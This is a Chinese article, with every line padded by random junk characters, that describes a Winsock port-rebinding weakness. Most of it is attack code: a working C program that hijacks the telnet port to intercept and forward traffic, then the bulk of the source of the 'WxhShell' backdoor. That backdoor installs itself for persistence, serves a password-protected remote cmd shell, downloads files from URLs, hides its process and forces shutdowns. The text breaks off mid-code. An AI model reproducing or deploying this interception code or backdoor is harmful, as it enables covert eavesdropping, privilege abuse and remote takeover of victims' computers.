在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fP>~ @^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=6Q\78b G}V5PEF]` saddr.sin_family = AF_INET;
tE(_Cg DV!10NqUr saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{^V9?^?d ( F[5sFkM7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$Le|4Hj ?K!^[aO}= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ZFFKv ggL^*MV 这意味着什么?意味着可以进行如下的攻击:
+zL|j/q ? /3KPK4!m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<_ruVy0] Cw$7d:u 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
HE{JiAf I(Gl8F\c~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4T??8J-J Hpj7EaMZ_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IY40d^x #<o=W#[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`3?5Z/,y mz m{p(. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S3N+9*iK KJYcP72P 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HaA2y t$EL3U/( #include
+aZcA#% #include
T?k!%5,Kj #include
,JqCxb9 #include
B6-1q&
E / DWORD WINAPI ClientThread(LPVOID lpParam);
SSn{,H8/j int main()
)N3XbbV {
t b>At*tO WORD wVersionRequested;
FI8vABq DWORD ret;
5#U=x ,7e WSADATA wsaData;
k{C03=xk BOOL val;
:um]a70 SOCKADDR_IN saddr;
z]HaE|j}S SOCKADDR_IN scaddr;
bR'UhPs-8; int err;
*n x$r[Mqj SOCKET s;
|
{Tq/ SOCKET sc;
&j?+%Y1n@ int caddsize;
@bF4'M HANDLE mt;
F10TvJ
U DWORD tid;
`qm$2 wVersionRequested = MAKEWORD( 2, 2 );
}!QVcu"+t/ err = WSAStartup( wVersionRequested, &wsaData );
1!W'0LPM if ( err != 0 ) {
JXQh$hs printf("error!WSAStartup failed!\n");
E RjMe'q4 return -1;
})umg8s }
v(P5)R, saddr.sin_family = AF_INET;
a`6R}|ZB H(tT8Q5i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
dLbSvK<(I KnC:hus saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
a: 2ezxP saddr.sin_port = htons(23);
$1Qcz,4B| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2= zw! {
I9L7,~s printf("error!socket failed!\n");
8EY]<#PN return -1;
>Xi/ p$$7u }
:B~m^5 val = TRUE;
?izl#? //SO_REUSEADDR选项就是可以实现端口重绑定的
p&2oe\j$, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
p :zRgwcn {
#|/+znJm printf("error!setsockopt failed!\n");
}=p+X:k= return -1;
GL,( N| }
e=`=7H4P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
IL{tm0$r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+-NH
4vUg //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6h7TM?lt yJW/yt.l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
uj@d {AQ {
K(#O@Wmjq ret=GetLastError();
8'M:uI printf("error!bind failed!\n");
{a0yHy$H return -1;
IXpn(vX }
zy`T!
$ listen(s,2);
r3dGXiu while(1)
'"T9y=9]s {
8cGoo u6 caddsize = sizeof(scaddr);
F *1w8+ //接受连接请求
1E=E ?$9sg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kS4YxtvB if(sc!=INVALID_SOCKET)
40G'3HOp {
zEt!Pug mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W'6sY@0m if(mt==NULL)
F+!9T {
aU*}.{<! printf("Thread Creat Failed!\n");
}/QtIY#I break;
Vwb_$Yi+] }
FuC\qF
}
TE6]4E* CloseHandle(mt);
-""(>$b2 }
Py#TXzEcC closesocket(s);
9Dp0Pi?29 WSACleanup();
?JBA`,- return 0;
M(vX.kF }
gYBMi)`RT DWORD WINAPI ClientThread(LPVOID lpParam)
intl?&wC {
uU=!e&3 SOCKET ss = (SOCKET)lpParam;
4v`G/w SOCKET sc;
Lngf,Of.e unsigned char buf[4096];
^!z(IE' SOCKADDR_IN saddr;
10xza=a long num;
R_b4S%jhx DWORD val;
3taGb>15 DWORD ret;
_bt9{@) //如果是隐藏端口应用的话,可以在此处加一些判断
>+DMTV[O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}X. Fm'` saddr.sin_family = AF_INET;
]Ljb&*IEj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
gq@8Z
AWn saddr.sin_port = htons(23);
}rUAYr~V Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Qq'e#nI@ {
8`6G_:&X printf("error!socket failed!\n");
-/2B fIq return -1;
tEt46]{ }
'Va<GHr>+ val = 100;
+d7Arg!m if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7!wc'~; {
ydA@@C\& ret = GetLastError();
":q+"*fy return -1;
*Ms&WYN- }
I;n<)
> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B&_Z&H= {
I0qJr2[X~ ret = GetLastError();
I1rB,%p return -1;
;&'r yYrex }
u-tD_UIck if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^qi+Y)dU| {
9hssIZO printf("error!socket connect failed!\n");
KuW>^mF(I closesocket(sc);
|3 Iug closesocket(ss);
[4aw*M1z}. return -1;
@4MQ021( }
ooBBg@ while(1)
S^D7} {
*?$M=tH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
n`@dk_%yI //如果是嗅探内容的话,可以再此处进行内容分析和记录
&SNH1b#>E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
sT "q] num = recv(ss,buf,4096,0);
.Z#/%y3S if(num>0)
ec/>LJDX7 send(sc,buf,num,0);
29CzG0?B else if(num==0)
A\W)uwyN break;
tCm]1ZgRW num = recv(sc,buf,4096,0);
f/s" 2r if(num>0)
UR9\g( send(ss,buf,num,0);
M< .1U?_# else if(num==0)
NqGSoOjIO2 break;
8!HB$vdw7 }
bwcr/J(Nb closesocket(ss);
F n iht< closesocket(sc);
AJE$Z0{q return 0 ;
cA|vH^: }
sOiM/}O] %K.r rn M F_m'
9KX4E ==========================================================
TIt\ M] +.xo+A 下边附上一个代码,,WXhSHELL
as('ZD.9 W amOg0 ==========================================================
}S3 oX$ 3"< 0_3?W #include "stdafx.h"
/nu z_y\J rGXUV`5Na #include <stdio.h>
T:Ee6I 3l #include <string.h>
3-, W?
"aC #include <windows.h>
!lo
/L #include <winsock2.h>
al-rgh #include <winsvc.h>
)p1~Jx( \ #include <urlmon.h>
y Vm>Pj6 X{Hh^H #pragma comment (lib, "Ws2_32.lib")
XZM@Rys #pragma comment (lib, "urlmon.lib")
;gSRpTS: y1T(R# #define MAX_USER 100 // 最大客户端连接数
g>;@(:e^/ #define BUF_SOCK 200 // sock buffer
;^0rY )& #define KEY_BUFF 255 // 输入 buffer
4#7*B yvf QIlZZ #define REBOOT 0 // 重启
OG$v"Yf~ #define SHUTDOWN 1 // 关机
@ \XeRx; _ZFEo< `' #define DEF_PORT 5000 // 监听端口
&e;Qabwxva Ox&G
[ #define REG_LEN 16 // 注册表键长度
a!-J=\>9 #define SVC_LEN 80 // NT服务名长度
<F(2D<d{;) vNrn]v=|}7 // 从dll定义API
,Kl?-W@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
v=0G&x=/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m%apGp'=1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
gGUKB2) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
zxCx2.7 |*UB/8C^/! // wxhshell配置信息
/]5*;kO` struct WSCFG {
KXK5\#+L int ws_port; // 监听端口
h=:/9O{H char ws_passstr[REG_LEN]; // 口令
jVQ89vf
~ int ws_autoins; // 安装标记, 1=yes 0=no
#Xox2{~ char ws_regname[REG_LEN]; // 注册表键名
.#$2,"8 char ws_svcname[REG_LEN]; // 服务名
vr'cR2 char ws_svcdisp[SVC_LEN]; // 服务显示名
O>1Cx4s5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
gCC7L(1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_/noWwVu int ws_downexe; // 下载执行标记, 1=yes 0=no
t4G$#~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L/exR6M7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
16~E lV%1I@[M };
B 5|\<CF , >S7c // default Wxhshell configuration
W_JO~P struct WSCFG wscfg={DEF_PORT,
2wIJ;rh "xuhuanlingzhe",
7<;oz30G!L 1,
ceJi|`F "Wxhshell",
?zm]KxIC "Wxhshell",
Z%B6J>;u M "WxhShell Service",
/G'3!S "Wrsky Windows CmdShell Service",
E KV[cq "Please Input Your Password: ",
tMX$8W0
c 1,
ChG7>4:\ "
http://www.wrsky.com/wxhshell.exe",
{#k[-\|; "Wxhshell.exe"
\"nut7";2 };
bC1G5`v_D iP"sw0V8 // 消息定义模块
>VkBQM-% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
diY7<u# char *msg_ws_prompt="\n\r? for help\n\r#>";
; s/<wx-C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ud$-A char *msg_ws_ext="\n\rExit.";
Q}L?o char *msg_ws_end="\n\rQuit.";
{XmCG%%L char *msg_ws_boot="\n\rReboot...";
* /n8T]s char *msg_ws_poff="\n\rShutdown...";
")STB8kQ char *msg_ws_down="\n\rSave to ";
3wq<@dRv4 n%7?G=_kj char *msg_ws_err="\n\rErr!";
qGV_oa74 char *msg_ws_ok="\n\rOK!";
5MAfuHq^ TjEXR$:< char ExeFile[MAX_PATH];
&btI# int nUser = 0;
~E7IU<B HANDLE handles[MAX_USER];
ezp%8IZ; int OsIsNt;
,dCEy+ i9DD)Y< SERVICE_STATUS serviceStatus;
Xi98:0<= SERVICE_STATUS_HANDLE hServiceStatusHandle;
_b~{/[s F^NK"<tW // 函数声明
"a8E0b int Install(void);
K%? g6j int Uninstall(void);
x1.S+: int DownloadFile(char *sURL, SOCKET wsh);
5o dT\>Sn int Boot(int flag);
!ka* rd void HideProc(void);
4?'vP ' int GetOsVer(void);
1
&9|~">{C int Wxhshell(SOCKET wsl);
SXm%X(JU void TalkWithClient(void *cs);
MVsFi]- int CmdShell(SOCKET sock);
9_?xAJ int StartFromService(void);
Z,.Hz\y1D int StartWxhshell(LPSTR lpCmdLine);
"^n,(l*4x E=p+z"Ui VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\:WWrY8& VOID WINAPI NTServiceHandler( DWORD fdwControl );
Dp
](?Yr PC#^L$cg} // 数据结构和表定义
T`ibulp SERVICE_TABLE_ENTRY DispatchTable[] =
,|({[9jA {
+nDy b {wscfg.ws_svcname, NTServiceMain},
:hX[8u {NULL, NULL}
|1~n<=`Z };
"tzu.V- fORkH^Y(& // 自我安装
Cku"vVw, int Install(void)
N>!:bF {
_qxI9Q}<" char svExeFile[MAX_PATH];
L=4+rshl!_ HKEY key;
F~mIV;BP strcpy(svExeFile,ExeFile);
W&?Qs=@ lT^su'+bk // 如果是win9x系统,修改注册表设为自启动
R-13DVK if(!OsIsNt) {
JL1ajlm~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|`5IP8Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'+PKGmRW RegCloseKey(key);
7MKX`S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a[-!X7,IU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uZ!YGv0^ RegCloseKey(key);
hy5[
L`B return 0;
<1D|TrP }
sS>b}u+v#! }
A9$x8x*Lt }
0ns\:2)cEB else {
Y^eN}@]?& % =^/^[D // 如果是NT以上系统,安装为系统服务
@Jzk2,rI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
z%82Vt!a5 if (schSCManager!=0)
$.SBW=^V {
'a['lF SC_HANDLE schService = CreateService
zR" cj (
ANM#Kx+ schSCManager,
1@F-t94I wscfg.ws_svcname,
-K64J5|b7 wscfg.ws_svcdisp,
+1ICX SERVICE_ALL_ACCESS,
pM?;QG;jA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r
)F;8( SERVICE_AUTO_START,
$C4~v SERVICE_ERROR_NORMAL,
;w7 mr1 svExeFile,
] G&*HMtp NULL,
[n2B6Px NULL,
utlr|m Xc NULL,
wVBKVb9N NULL,
>t+U`6xK NULL
6hxZ5&;(* );
!6!)H8rX if (schService!=0)
/Z:j:l {
G;Li!H CloseServiceHandle(schService);
^#9385 CloseServiceHandle(schSCManager);
-NBVUUAgN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
A~?M`L>B strcat(svExeFile,wscfg.ws_svcname);
"o5]:]h) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
s ^h@b!'7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
cq1 5@a mX RegCloseKey(key);
ujU,O%.n return 0;
wPlM=
.Hq? }
Hn|W3U }
cHjQwl CloseServiceHandle(schSCManager);
H+v&4} f }
NJUKH1lIhR }
<J/ =$u/ AI|vL4*Xd return 1;
W0qR?jc }
,"v&r( !nv wRQ // 自我卸载
DB'v7
Ij0 int Uninstall(void)
kp m;ohd {
F-&tSU, HKEY key;
%B s. XW, ARH~dN* C if(!OsIsNt) {
}A)\bffH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
osW"wh_ RegDeleteValue(key,wscfg.ws_regname);
=rjU=3!&( RegCloseKey(key);
g`XngRb|j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&V].,12x RegDeleteValue(key,wscfg.ws_regname);
aJu&h2G RegCloseKey(key);
@\K[WqF$$q return 0;
u47<J?!Q }
HW@wia }
*dl hRa }
2HX/@ERhmu else {
p.DQ|? !~ox;I}S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,81%8r if (schSCManager!=0)
cgnNO& {
9vI~vl l SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ZpTDM1ro if (schService!=0)
-f+#j=FX {
E C#0-,z if(DeleteService(schService)!=0) {
8Fn\ycX#"l CloseServiceHandle(schService);
R9XU 7_3B CloseServiceHandle(schSCManager);
C6!F6Stn]g return 0;
zakhJ }
;mQj2Bwr CloseServiceHandle(schService);
D,#UJPyg }
RvzZg%) CloseServiceHandle(schSCManager);
AwM`[`ReE }
&:&'70Ya }
CPz<iU e3I""D{)[= return 1;
XKp&GE@Y }
JT+c7W7 09kR2(nsW/ // 从指定url下载文件
z^bS+0S5x! int DownloadFile(char *sURL, SOCKET wsh)
e@D_0OZ {
">V1II
7 HRESULT hr;
MN?aPpr> char seps[]= "/";
>pq~ &)^u char *token;
qO6M5g: char *file;
7=-Yxt char myURL[MAX_PATH];
<PLAAh8 char myFILE[MAX_PATH];
{ _9O4 +
& C- .;m strcpy(myURL,sURL);
h}Otz " token=strtok(myURL,seps);
6tKrR{3#A while(token!=NULL)
Gwd38 {
\|=6<ZY: file=token;
M2Q,&>M
token=strtok(NULL,seps);
Hw \of }
_ *f>UW*, 2<D| { GetCurrentDirectory(MAX_PATH,myFILE);
v[dUUR f strcat(myFILE, "\\");
IuwE&# strcat(myFILE, file);
8dE0y P send(wsh,myFILE,strlen(myFILE),0);
gAAC>{Wh send(wsh,"...",3,0);
x|O7}oj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5kGniG?T# if(hr==S_OK)
{&5lZ<nu8A return 0;
wQ33Gc else
>Hf{Mx{< return 1;
ACRuDY ]az(w&vqg2 }
;cMQ0e VbX P7bZ // 系统电源模块
sT^R0Q'> int Boot(int flag)
/VYT]( {
g p:0 Y HANDLE hToken;
wf8{v TOKEN_PRIVILEGES tkp;
$DHE%IN` <>HtXn/ if(OsIsNt) {
Am,{Fj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
pGs?Y81
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
63l3WvoK tkp.PrivilegeCount = 1;
#9,8{ O" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
t^01@ejM+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
w6BBu0,KC if(flag==REBOOT) {
Ema[M5$R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Z^kE]Ir#EV return 0;
En\@d@j<u }
P~a@{n*8 else {
2uj
.* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_vTr?jjfK return 0;
Xb"i/gfxt }
=u2 z3$ }
9pLe8D else {
]IV{;{E) if(flag==REBOOT) {
UT;%I_i!' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;\K]~ return 0;
u}du@Aq }
H_&to3b( else {
J%?5d:iN+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
t=B1yvE" return 0;
|R.yuSL)( }
UF-&L:s[ }
xnMcxys~ Dnd; N/9 return 1;
"r46Rfa }
%[|^7 d@ K-ZMq // win9x进程隐藏模块
<7]HM5h void HideProc(void)
Q3WI@4 {
Imv#7{ndq
U${W3Ra HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4`i8m if ( hKernel != NULL )
(=^KP7 {
d#E&,^@M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
V<UChD)N` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
l
L;5*@
FreeLibrary(hKernel);
|^l_F1+w }
mcQL>7ts l(NQk> w return;
AY5iTbL1 }
u79- B-YW^ e4` L8 // 获取操作系统版本
3`cA!ZVQ int GetOsVer(void)
I6
?(@, {
Uuy$F OSVERSIONINFO winfo;
o{y}c-> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
W q<t+E[ GetVersionEx(&winfo);
q2X::Yqk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]B3](TH" return 1;
4Et(3[P71 else
{T-\BTh&Q return 0;
&DMC\R* j }
kxhsDD$@p +fk*c[FG // 客户端句柄模块
4<-Kd~uL int Wxhshell(SOCKET wsl)
<gwRE{6U {
{<ShUN SOCKET wsh;
tQ9%rb struct sockaddr_in client;
iI<c DWORD myID;
Gk~aTO kD#n/RBgf while(nUser<MAX_USER)
o:#jvi84F {
9W=(D|,, int nSize=sizeof(client);
a
Y)vi$;] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
R%3yxnM* if(wsh==INVALID_SOCKET) return 1;
=wX;OK|U(^ ]ePg6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
q(qm3OxYo if(handles[nUser]==0)
US)i"l7:H* closesocket(wsh);
=u2~=t=LV else
+1wEoU.l2 nUser++;
-Hm"Dx }
]izHn; + WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K ar! IER;d\_V< return 0;
d9JAt-6z2 }
= -oP,$k s#5#WNzP // 关闭 socket
r#WqXh_uk void CloseIt(SOCKET wsh)
V<WWtu;3 {
P.>fkO1\ closesocket(wsh);
`mcb0 nUser--;
Zw)=Y.y! ExitThread(0);
<p<6!tdO }
=EVB?k
, J <z
^C // 客户端请求句柄
imADjBR] void TalkWithClient(void *cs)
r4u,I<ZbH {
jy~hLEt7 ozsd6&z5l SOCKET wsh=(SOCKET)cs;
>0SG]er@ char pwd[SVC_LEN];
Jhj ]`$J char cmd[KEY_BUFF];
M5*Ln-qt(a char chr[1];
#.u&2eyqQ int i,j;
)r"R f]10^y5& while (nUser < MAX_USER) {
1?)h-aN ~Q"qz<WO if(wscfg.ws_passstr) {
R}(Rv3>Xx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5n>zJ
~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KYkS^v //ZeroMemory(pwd,KEY_BUFF);
DPY+{5q2 i=0;
ih("`//nP while(i<SVC_LEN) {
[6K[P3UZx x%)oL:ue // 设置超时
M%jR`qVFg. fd_set FdRead;
,I|^d.[2 struct timeval TimeOut;
"uZ^zV`" FD_ZERO(&FdRead);
>G1]#'6; FD_SET(wsh,&FdRead);
D
Q4O TimeOut.tv_sec=8;
KKk<wya&O TimeOut.tv_usec=0;
Bs3&yEq( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?pQ0*
O0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
LTx,oa:ma A~{vja0? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[#aJ- Uu pwd
=chr[0]; ]/p>p3@1C
if(chr[0]==0xd || chr[0]==0xa) { ?Z!R
pwd=0; bWp)'mx5u
break; C5KUIOg
} L09r|g4Z
i++; y'6l fThT
} ,ZYPffu<*
c=-qbG0`
// 如果是非法用户,关闭 socket 6*1f -IbV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6%9 kc+
9
} ijcF[bmE
)yz)Fw|&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wKpD++k
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tJ7tZ~Ak
$Ups9p Q
while(1) { r~|7paX!
x!7!)]h
ZeroMemory(cmd,KEY_BUFF); x'G_z_<V
O#!|2qN
// 自动支持客户端 telnet标准 Q"!GdKM
j=0; ES(qu]CjI
while(j<KEY_BUFF) { zDm3$P=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1JOoICjB
cmd[j]=chr[0]; c[3x>f0
if(chr[0]==0xa || chr[0]==0xd) { k8+U0J_{'
cmd[j]=0; 'aeuL1mz
break; :"nh76xg<
} Oku7&L1
j++; ,l,q;]C%
} |<8Fa%!HHc
=|fB":vk
// 下载文件 A[F@rUZp
if(strstr(cmd,"http://")) { 6#:V3 ;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); T'Jl,)"
if(DownloadFile(cmd,wsh)) X_3hh} =
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [1Qg *
else lQRtsmZ0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cUw$F{|W
} zlkW-rRkR
else { 5]kv1nQ
" w /Odd
switch(cmd[0]) { LOwd mj
^FTS'/Q
// 帮助 ts,V+cEA
case '?': { #g2&x sU
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lG[j,MDs
break; gTLBR
} @L 6)RF
// 安装 yI-EF)A@;
case 'i': { g">^#^hBE
if(Install()) l?xd3Z@7[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rzvKvGd#N
else alsD TQ'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 93,7yZ5#
break; {=U*!`D
} ZC^NhgX
// 卸载 ]$-<< N{}'
case 'r': { "kVzN22
if(Uninstall()) *dC&*6Rx
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
<LJb,l"
else +A$>F@u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .F$cR^i5u
break; Czy}~;_Ay
} I_R 6
M1
// 显示 wxhshell 所在路径 I;G(Wj
case 'p': { `9T5Dem|#
char svExeFile[MAX_PATH]; Otf{)f
strcpy(svExeFile,"\n\r"); )NqRu+j
strcat(svExeFile,ExeFile); 2,|;qFJY-@
send(wsh,svExeFile,strlen(svExeFile),0); qN
Ut
break; H_aG\
} %E [HMq<H
// 重启 *=T(ncR['
case 'b': { nC!L<OMr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !?|xeQ}
if(Boot(REBOOT)) 8 tIy"5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:>gRD
else { ":GC}VIS
closesocket(wsh); MGre_=Dm_
ExitThread(0); MhB>bnWXR
} ,^DP
break; }-u%6KZ
} h[<l2fy
// 关机 B$hog_=s
case 'd': { +!$`0v
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \F""G,AWq{
if(Boot(SHUTDOWN)) @S>;t)\J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OEC/'QOae
else { 4x#tUzb;
closesocket(wsh); $2-_j)+
ExitThread(0); ~CdW:t
} O}}rosA
break; sNP
;
} 6GqC]rd*:
// 获取shell pUW7p
case 's': { 1xh7KBr,
CmdShell(wsh);
`46.!
closesocket(wsh); !_B*Po
ExitThread(0); 5OX[)Li
break; k1s5cg=n(
} 4%I[.dBnM
// 退出 n1:q:qMR1
case 'x': { GQQp(%T
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D_)/.m
CloseIt(wsh); <iGW~COd
break; 5K)_w:U
X
} 1MT,A_L
// 离开 9.il1mAKg
case 'q': { 5O
Y5b8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @2*Q*
closesocket(wsh); ~!cxRd5;F
WSACleanup(); ()F{kM8
exit(1); 5NH4C
break; n=AcN
} Jyr
V2Tk^
} bSz7?NAp
} ?( z"Ub]
FouN}X6
// 提示信息 a(ITv roM/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \<09.q<8
} N;6o=^ic
} L[,19;(
QG2 Zh9R
return; Eh|,[D!E
} o0|Ex\
g.vE%zKL
// shell模块句柄 oD1k7Gq1
int CmdShell(SOCKET sock) U V*Ruy-
{ -B&(&R
STARTUPINFO si; )|^8`f
ZeroMemory(&si,sizeof(si)); ~1[n@{*: (
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (V]3w
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &>E gKL
PROCESS_INFORMATION ProcessInfo; j%^4
1 y
char cmdline[]="cmd"; isQOt *
i
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a#;;0R $
return 0; V[K N,o{6
} y_=y%
}(|gC,
// 自身启动模式 3}F>t{FDk
int StartFromService(void) a.}#nSYP
{ g= Vu'p 3u
typedef struct IDFzyg_
{ &ah%^Z4um
DWORD ExitStatus; $D#h, `
